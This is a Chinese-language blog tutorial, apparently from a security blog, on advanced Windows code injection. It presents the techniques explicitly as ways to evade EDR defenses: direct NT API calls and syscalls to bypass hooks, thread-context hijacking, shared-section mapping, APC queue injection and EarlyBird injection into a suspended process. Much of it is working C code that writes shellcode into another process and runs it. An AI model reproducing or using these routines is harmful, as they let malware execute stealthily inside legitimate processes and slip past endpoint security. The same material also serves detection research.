高级代码注入将经典的代码注入,利用变种、劫持、映射、APC、EarlyBird等技术,进阶我们的防御规避手段
知识卡片
-
回顾经典注入手段:
OpenProcess->VirtualAllocEx->WriteProcessMemory->CreateRemoteThread
-
线程上下文(Context):包含了CPU寄存器的状态(如RIP、RSP、RAX等),通过
GetThreadContext和SetThreadContext可以读取和修改目标线程的上下文。 -
WIndows中的Section对象(文件映射对象)用于在进程间共享内存,通过
CreateFileMapping或NtCreateSection创建Section,然后通过MapViewOfFile或
NtMapViewOfSection在多个进程中映射同一块物理内存。 -
APC是一种在指定线程上下文中异步执行的机制。每个线程都有一个APC队列,当线程进入可警示状态(alertable)时,系统会检查队列并执行APC函数。
-
EarlyBird注入:在目标进程的早期阶段(即主线程还没开始执行用户代码之前)注入并执行shellcode,从而可能绕过那些在进程启动后才加载的EDR钩子
详细讲解
一、变种技术
变种一:用更底层的API,甚至发syscall,绕过用户态的钩子
替换成底层API,例如NtCreateThreadEx 替代 CreateRemoteThread,用 NtWriteVirtualMemory 替代 WriteProcessMemory

NTAPI函数式系统调用的直接封装,而kernel32.dll里的API最终也会调用NTAPI。EDR喜欢在kernel32或者ntdll下钩子(hook),拦截对这些函数的调用,如果直接使用syscall指令进入内核,就能绕过这些钩子
变种二:"挂起+恢复",其原理就是当目标进程监控线程创建的时候,我们可以找一个现成的线程,令其执行我们的代码
二、线程上下文劫持
原理:每个线程在CPU上运行时,都有一组寄存器的值,其中最重要的就是RIP(指令指针),它指向下一条要执行的指令。如果能修改RIP,让它指向我们的ShellCode,那当这个线程被调度时,CPU就会开始执行我们的代码。
步骤:
-
找到目标进程中;一个合适的线程
-
用
SuspendThread挂起该进程,防止其在被修改的上下文的过程中乱跑 -
用
GetThreadContext获取当前线程上下文。 -
在目标进程中分配内存,写入ShellCode
-
修改上下文中的
Rip(x64)或Eip(x86)为ShellCode的地址。 -
用
SetThreadContext将修改后的上下文写回线程 -
用
ResumeThread恢复线程,线程就会从ShellCode开始执行
// 目标进程句柄 hProcess 和主线程句柄 hThread // 1. 挂起线程 SuspendThread(hThread); // 2. 获取线程上下文 CONTEXT ctx = {0}; ctx.ContextFlags = CONTEXT_FULL; // 获取所有寄存器 GetThreadContext(hThread, &ctx); // 3. 保存原始RIP ULONG_PTR originalRip = ctx.Rip; // 4. 在目标进程分配内存并写入shellcode LPVOID pRemoteBuf = VirtualAllocEx(hProcess, NULL, shellcode_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hProcess, pRemoteBuf, shellcode, shellcode_size, NULL); // 5. 修改RIP ctx.Rip = (ULONG_PTR)pRemoteBuf; // 6. 设置新上下文 SetThreadContext(hThread, &ctx); // 7. 恢复线程 ResumeThread(hThread);
三、内存区域与视图操作
此模块我们将摆脱WriteProcessMemory这个敏感API
我们可以创建一个Section对象(内存区域),然后将它映射到多个进程的地址空间,这块的物理内存是同一个,所以在一个进程写入数据后,其余进程都可以看到实现进程间的通信,这里只需要MapViewOfFile两次,一次在源进程,一次在目标进程,然后在源进程用memcpy把ShellCode写去就可以了。流程如下:

// 1. 创建Section HANDLE hSection = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, shellcode_size, NULL); if (!hSection) return; // 2. 在源进程映射视图 LPVOID pLocalView = MapViewOfFile(hSection, FILE_MAP_WRITE, 0, 0, shellcode_size); if (!pLocalView) return; // 3. 写入shellcode memcpy(pLocalView, shellcode, shellcode_size); // 4. 取消源进程映射(可选,但为了干净,可以保留) UnmapViewOfFile(pLocalView); // 5. 在目标进程映射视图(需要目标进程句柄,且有足够的权限) HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPid); LPVOID pRemoteView = MapViewOfFile2(hSection, hProcess, NULL, 0, 0, 0, PAGE_EXECUTE_READ); // 注意:MapViewOfFile2 是较新的API,也可以用 NtMapViewOfSection 手动实现 if (!pRemoteView) { CloseHandle(hSection); CloseHandle(hProcess); return; } // 6. 现在pRemoteView 在目标进程中就是shellcode的地址 // 可以用创建远程线程或APC执行它 HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteView, NULL, 0, NULL); if (hThread) { WaitForSingleObject(hThread, INFINITE); } // 清理 UnmapViewOfFile2(hProcess, pRemoteView, MEM_RELEASE); CloseHandle(hThread); CloseHandle(hProcess); CloseHandle(hSection);
四、异步过程调用(APC)注入
每个线程都有APC队列,可以调用QueueUserAPC把一个函数指针放进队列,这样后面线程调用任何一个alertable函数,系统会在返回用户模式前,优先执行队列中所有的APC。
APC注入经典步骤:
-
创建一个挂起的进程(如
notepad.exe),带上CREATE_SUSPENDED标志 -
在进程中分配内存并写入ShellCode
-
调用
QueueUserAPC,把ShellCode地址作为APC函数,插入到主线程(pi.hThread)的队列中 -
恢复主线程(
ResumeThread)
// 创建挂起进程 STARTUPINFOA si = {0}; PROCESS_INFORMATION pi = {0}; CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi); // 分配内存并写入shellcode LPVOID pRemoteBuf = VirtualAllocEx(pi.hProcess, NULL, shellcode_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(pi.hProcess, pRemoteBuf, shellcode, shellcode_size, NULL); // 插入APC QueueUserAPC((PAPCFUNC)pRemoteBuf, pi.hThread, (ULONG_PTR)NULL); // 恢复线程 ResumeThread(pi.hThread);
五、EarlyBird 注入技术
EarlyBird所强调的是时机,要在EDR反应过来前将ShellCode执行触发。
EDR通常通过设置全局钩子或映像加载回调来注入自己的DLL,这些操作发生在进程启动的后续阶段,我们就要在其之前实现我们需要的功能行为
EarlyBird经典流程:
-
CreateProcess带CREATE_SUSPENDED标志,创建目标进程 -
分配内存写入ShellCode
-
选择触发方式:
-
APC注入:
QueueUserAPC插入shellcode地址到主线程 -
线程上下文劫持:修改主线程的RIP指向shellcode
-
-
ResumeThread恢复主线程
下面还是以上面的APC代码逻辑为例
// EarlyBird 注入 BOOL EarlyBirdInject(PCWSTR targetExe, PBYTE shellcode, SIZE_T shellcodeSize) { STARTUPINFOW si = { sizeof(si) }; PROCESS_INFORMATION pi = { 0 }; // 创建挂起进程 if (!CreateProcessW(targetExe, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) { return FALSE; } // 分配内存并写入shellcode LPVOID pRemoteBuf = VirtualAllocEx(pi.hProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (!pRemoteBuf) { TerminateProcess(pi.hProcess, 1); return FALSE; } WriteProcessMemory(pi.hProcess, pRemoteBuf, shellcode, shellcodeSize, NULL); // 插入APC QueueUserAPC((PAPCFUNC)pRemoteBuf, pi.hThread, NULL); // 恢复主线程 ResumeThread(pi.hThread); CloseHandle(pi.hThread); CloseHandle(pi.hProcess); return TRUE; }
非特殊说明,本博所有文章均为博主原创。
如若转载,请注明出处:https://www.oneblanks.xyz/%e9%ab%98%e7%ba%a7%e4%bb%a3%e7%a0%81%e6%b3%a8%e5%85%a5/
共有 0 条评论